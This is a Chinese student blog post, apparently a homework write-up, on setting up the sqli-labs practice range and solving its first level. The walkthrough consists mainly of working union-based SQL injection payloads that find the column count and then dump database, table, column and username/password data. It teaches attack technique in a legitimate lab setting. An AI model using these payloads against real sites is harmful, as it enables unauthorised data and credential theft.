寒假第三次作业(SQL学习)

一、了解SQL

什么是SQL

在这里插入图片描述

SQL注入是什么

在这里插入图片描述

SQL注入过程

在这里插入图片描述

二、联合注入

搭建靶场install

1、下载PHP(由于前两次的学习已经下载好了)
2、下载链接: sqli-labs-master.zip.解压后放在phpstudy_pro的www目录运行。
注意: sqli-labs运行php运行环境不支持php7,需要将phpstudy_pro的php版本设置为5。(别问我为什么,反正我就是知道)
3、修改sqli-labs/sql-connections/credb.inc文件中的账号和密码(自己设置mysql的账号和密码)
4、输入地址http://localhost/sqli-labs-master或http://127.0.01/sqli-labs-master,得到下图:
在这里插入图片描述
点击setup/reset Database for labs,得到下图就说明靶场搭建完成
在这里插入图片描述
注: 参考链接附上
做靶场时建议用火狐浏览器,火狐里的hackbar做靶场很方便

靶场第一关

1、判断闭合符合

闭合符号一般有四种,’、 "、 ‘)、 ")加上注释符合–+
输入?id=1’ ( " ) ( ') ) ( ") ) --+
其中 ’ 得到了下图,即为正确的闭合符合
在这里插入图片描述
若输出?id=1、2、3…不同数字,会出现不同的结果

在这里插入图片描述

2、判断列数

用order by语句判断
输入?id=1’ order by 1(或2、3、4…) --+
1到3得到的回显都正常,到4时出现下图(回显错误)
在这里插入图片描述
说明列数为3

3、联合注入

判断出回显位:
输入:?id=0’ union select 1,2,3–+ 得到回显位置
回显位在第二位
在这里插入图片描述
爆出数据库的名字:
因为回显位是第二位,所以要在第二位修改
输出:?id=0’ union select 1,database(),3–+
回显得出数据库名字为:security
在这里插入图片描述
爆出数据表名:
输入:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
访问得出结果如下:
在这里插入图片描述
然后对表users进行爆破出字段
输入:?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
回显结果:
在这里插入图片描述
最后爆出字段值:
输入:?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
回显结果:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_53105784/article/details/113740945